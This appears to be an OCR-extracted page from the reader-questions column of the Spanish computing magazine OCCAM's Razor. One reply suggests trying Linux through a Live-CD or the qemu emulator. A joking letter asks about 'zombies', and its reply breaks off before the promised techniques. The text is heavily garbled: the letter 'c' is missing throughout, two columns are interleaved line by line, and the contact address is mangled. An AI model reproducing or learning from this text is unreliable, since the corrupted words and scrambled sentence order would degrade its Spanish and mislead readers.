Estimada Jenny. Claro que puedes teello tienes varias op iones. Quizs la

Antes de nada me gustara feli itaros

mejor para probar si te gusta es utili-

por vuestra revista, me est resultando

zar lo que se llama una versin Live-

muy til en mi trabajo y espero im-

CD on la que podrs utilizar linux sin

pa iente ada nuevo nmero. Bueno,

tener que realizar ninguna instala in.

me gustara saber si hay alguna for-

Ubuntu o Knoppix son dos buenas op-

ma para evitar que se me llene todo

iones.

de

zombies...

salen por todas partes...

es una pesadilla... Dios mio!!!!.

Una segunda op in es utilizar un


emulador de PC omo VMware Pla-

VanHelsing

yer o qemu. La distribu in DSL de

Talansilvania

la que hablamos en este nmero de


la revista trae qemu integrado, on lo
que podrs eje utar linux en una ven-


Estimado Van, para terminar on tu
pesadilla de los no-muertos, puedes
utilizar ualquiera de las dos t ni as

tana dentro de tu sistema Windows.


Sigue las instru iones que trae la propia distribu in.

TIENES ALGUNA
DUDA?
Enviadnos vuestras preguntas te nolgi as e intentaremos ha er lo
que podamos, para a larar ualquier duda.
Podis enviarlas a:

o ams-razoruvigo.es

que des ribimos a ontinua in:

EVENTOS DE INTERS

Jerez de la Frontera. 7, 8 y 9 de Marzo de 2007

31| OCCAM's Razor

También podría gustarte